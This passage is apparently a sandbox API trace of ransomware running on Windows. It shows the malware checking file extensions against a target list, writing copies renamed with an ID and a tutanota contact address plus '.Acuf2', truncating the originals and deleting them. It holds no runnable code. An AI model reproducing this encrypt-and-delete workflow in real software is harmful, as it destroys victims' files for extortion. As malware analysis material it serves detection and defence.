	[0040.090] lstrlenW (lpString=".xlsx") returned 5
	[0040.090] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1
	[0040.090] lstrlenW (lpString=".ppt") returned 4
	[0040.090] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0040.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0040.090] lstrlenW (lpString=".zip") returned 4
	[0040.090] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0040.090] lstrlenW (lpString=".rar") returned 4
	[0040.090] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0040.090] lstrlenW (lpString=".bz2") returned 4
	[0040.090] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0040.090] lstrlenW (lpString=".7z") returned 3
	[0040.090] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0040.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0040.090] lstrlenW (lpString=".dbf") returned 4
	[0040.090] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0040.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0040.091] lstrlenW (lpString=".1cd") returned 4
	[0040.091] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0040.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61
	[0040.091] lstrlenW (lpString=".jpg") returned 4
	[0040.091] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0040.091] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0040.091] lstrlenW (lpString="MS.PNG") returned 6
	[0040.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0040.091] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=1682) returned 1
	[0040.091] CloseHandle (hObject=0x190) returned 1
	[0040.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20
	[0040.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0040.091] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.092] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0040.092] GetLastError () returned 0x0
	[0040.092] ReadFile (in: hFile=0x190, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x692, lpOverlapped=0x0) returned 1
	[0040.093] WriteFile (in: hFile=0x17c, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x6a0, lpOverlapped=0x0) returned 1
	[0040.094] ReadFile (in: hFile=0x190, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0040.094] WriteFile (in: hFile=0x17c, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0040.094] SetEndOfFile (hFile=0x17c) returned 1
	[0040.094] CloseHandle (hObject=0x17c) returned 1
	[0040.095] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.095] SetEndOfFile (hFile=0x190) returned 1
	[0040.096] CloseHandle (hObject=0x190) returned 1
	[0040.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0040.096] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1
	[0040.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0040.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0040.096] lstrlenW (lpString=".doc") returned 4
	[0040.096] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0040.096] lstrlenW (lpString=".docx") returned 5
	[0040.096] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1
	[0040.097] lstrlenW (lpString=".pdf") returned 4
	[0040.097] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0040.097] lstrlenW (lpString=".xls") returned 4
	[0040.097] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0040.097] lstrlenW (lpString=".xlsx") returned 5
	[0040.097] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1
	[0040.097] lstrlenW (lpString=".ppt") returned 4
	[0040.097] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0040.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0040.097] lstrlenW (lpString=".zip") returned 4
	[0040.097] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0040.097] lstrlenW (lpString=".rar") returned 4
	[0040.097] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0040.097] lstrlenW (lpString=".bz2") returned 4
	[0040.097] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0040.097] lstrlenW (lpString=".7z") returned 3
	[0040.097] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0040.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0040.097] lstrlenW (lpString=".dbf") returned 4
	[0040.097] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0040.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0040.097] lstrlenW (lpString=".1cd") returned 4
	[0040.097] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0040.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0040.097] lstrlenW (lpString=".jpg") returned 4
	[0040.097] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0040.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0040.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0040.097] lstrlenW (lpString=".doc") returned 4
	[0040.097] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0040.097] lstrlenW (lpString=".docx") returned 5
	[0040.097] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1
	[0040.098] lstrlenW (lpString=".pdf") returned 4
	[0040.098] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0040.098] lstrlenW (lpString=".xls") returned 4
	[0040.098] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0040.098] lstrlenW (lpString=".xlsx") returned 5
	[0040.098] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1
	[0040.098] lstrlenW (lpString=".ppt") returned 4
	[0040.098] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0040.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0040.098] lstrlenW (lpString=".zip") returned 4
	[0040.098] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0040.098] lstrlenW (lpString=".rar") returned 4
	[0040.098] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0040.098] lstrlenW (lpString=".bz2") returned 4
	[0040.098] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0040.098] lstrlenW (lpString=".7z") returned 3
	[0040.098] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0040.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0040.098] lstrlenW (lpString=".dbf") returned 4
	[0040.098] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0040.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0040.098] lstrlenW (lpString=".1cd") returned 4
	[0040.098] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0040.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61
	[0040.098] lstrlenW (lpString=".jpg") returned 4
	[0040.098] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0040.098] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0040.099] lstrlenW (lpString="Alphabet.xml") returned 12
	[0040.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0040.099] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=791686) returned 1
	[0040.099] CloseHandle (hObject=0x190) returned 1
	[0040.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0040.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0040.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0040.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0040.100] lstrlenW (lpString=".doc") returned 4
	[0040.100] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0040.100] lstrlenW (lpString=".docx") returned 5
	[0040.100] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0040.100] lstrlenW (lpString=".pdf") returned 4
	[0040.100] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0040.100] lstrlenW (lpString=".xls") returned 4
	[0040.100] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0040.100] lstrlenW (lpString=".xlsx") returned 5
	[0040.100] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0040.100] lstrlenW (lpString=".ppt") returned 4
	[0040.100] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0040.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0040.100] lstrlenW (lpString=".zip") returned 4
	[0040.100] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0040.100] lstrlenW (lpString=".rar") returned 4
	[0040.100] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0040.100] lstrlenW (lpString=".bz2") returned 4
	[0040.100] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0040.100] lstrlenW (lpString=".7z") returned 3
	[0040.101] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0040.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0040.101] lstrlenW (lpString=".dbf") returned 4
	[0040.101] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0040.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0040.101] lstrlenW (lpString=".1cd") returned 4
	[0040.101] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0040.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0040.101] lstrlenW (lpString=".jpg") returned 4
	[0040.101] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0040.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0040.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0040.101] lstrlenW (lpString=".doc") returned 4
	[0040.101] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0040.101] lstrlenW (lpString=".docx") returned 5
	[0040.101] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0040.101] lstrlenW (lpString=".pdf") returned 4
	[0040.101] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0040.101] lstrlenW (lpString=".xls") returned 4
	[0040.101] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0040.101] lstrlenW (lpString=".xlsx") returned 5
	[0040.101] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0040.101] lstrlenW (lpString=".ppt") returned 4
	[0040.101] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0040.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0040.101] lstrlenW (lpString=".zip") returned 4
	[0040.101] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0040.101] lstrlenW (lpString=".rar") returned 4
	[0040.101] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0040.101] lstrlenW (lpString=".bz2") returned 4
	[0040.101] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0040.101] lstrlenW (lpString=".7z") returned 3
	[0040.102] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0040.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0040.102] lstrlenW (lpString=".dbf") returned 4
	[0040.102] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0040.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0040.102] lstrlenW (lpString=".1cd") returned 4
	[0040.102] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0040.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63
	[0040.102] lstrlenW (lpString=".jpg") returned 4
	[0040.102] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0040.102] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0040.102] lstrlenW (lpString="Content.xml") returned 11
	[0040.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0040.102] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=27045) returned 1
	[0040.102] CloseHandle (hObject=0x190) returned 1
	[0040.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0040.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0040.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0040.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0040.103] lstrlenW (lpString=".doc") returned 4
	[0040.103] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0040.103] lstrlenW (lpString=".docx") returned 5
	[0040.103] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0040.103] lstrlenW (lpString=".pdf") returned 4
	[0040.103] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0040.103] lstrlenW (lpString=".xls") returned 4
	[0040.103] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0040.103] lstrlenW (lpString=".xlsx") returned 5
	[0040.103] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0040.103] lstrlenW (lpString=".ppt") returned 4
	[0040.103] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0040.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0040.103] lstrlenW (lpString=".zip") returned 4
	[0040.103] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0040.103] lstrlenW (lpString=".rar") returned 4
	[0040.103] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0040.103] lstrlenW (lpString=".bz2") returned 4
	[0040.103] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0040.103] lstrlenW (lpString=".7z") returned 3
	[0040.103] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0040.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0040.103] lstrlenW (lpString=".dbf") returned 4
	[0040.103] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0040.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0040.104] lstrlenW (lpString=".1cd") returned 4
	[0040.104] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0040.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0040.104] lstrlenW (lpString=".jpg") returned 4
	[0040.104] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0040.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0040.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0040.104] lstrlenW (lpString=".doc") returned 4
	[0040.104] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0040.104] lstrlenW (lpString=".docx") returned 5
	[0040.104] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0040.104] lstrlenW (lpString=".pdf") returned 4
	[0040.104] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0040.104] lstrlenW (lpString=".xls") returned 4
	[0040.104] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0040.104] lstrlenW (lpString=".xlsx") returned 5
	[0040.104] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0040.104] lstrlenW (lpString=".ppt") returned 4
	[0040.104] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0040.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0040.104] lstrlenW (lpString=".zip") returned 4
	[0040.104] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0040.104] lstrlenW (lpString=".rar") returned 4
	[0040.104] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0040.104] lstrlenW (lpString=".bz2") returned 4
	[0040.104] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0040.104] lstrlenW (lpString=".7z") returned 3
	[0040.104] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0040.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0040.104] lstrlenW (lpString=".dbf") returned 4
	[0040.104] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0040.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0040.105] lstrlenW (lpString=".1cd") returned 4
	[0040.105] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0040.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62
	[0040.105] lstrlenW (lpString=".jpg") returned 4
	[0040.105] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0040.105] lstrcmpiW (lpString1=".avi", lpString2=".Acuf2") returned 1
	[0040.105] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0040.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0040.107] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=89600) returned 1
	[0040.107] CloseHandle (hObject=0x190) returned 1
	[0040.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0040.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0040.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0040.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0040.109] lstrlenW (lpString=".doc") returned 4
	[0040.109] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0040.109] lstrlenW (lpString=".docx") returned 5
	[0040.109] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0040.109] lstrlenW (lpString=".pdf") returned 4
	[0040.109] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0040.109] lstrlenW (lpString=".xls") returned 4
	[0040.109] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0040.109] lstrlenW (lpString=".xlsx") returned 5
	[0040.109] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0040.109] lstrlenW (lpString=".ppt") returned 4
	[0040.109] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0040.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0040.109] lstrlenW (lpString=".zip") returned 4
	[0040.109] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0040.109] lstrlenW (lpString=".rar") returned 4
	[0040.109] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0040.109] lstrlenW (lpString=".bz2") returned 4
	[0040.109] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0040.109] lstrlenW (lpString=".7z") returned 3
	[0040.109] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0040.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0040.109] lstrlenW (lpString=".dbf") returned 4
	[0040.109] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0040.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0040.109] lstrlenW (lpString=".1cd") returned 4
	[0040.109] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0040.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0040.109] lstrlenW (lpString=".jpg") returned 4
	[0040.109] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0040.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0040.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0040.110] lstrlenW (lpString=".doc") returned 4
	[0040.110] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0040.110] lstrlenW (lpString=".docx") returned 5
	[0040.110] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0040.110] lstrlenW (lpString=".pdf") returned 4
	[0040.110] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0040.110] lstrlenW (lpString=".xls") returned 4
	[0040.110] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0040.110] lstrlenW (lpString=".xlsx") returned 5
	[0040.110] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0040.110] lstrlenW (lpString=".ppt") returned 4
	[0040.110] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
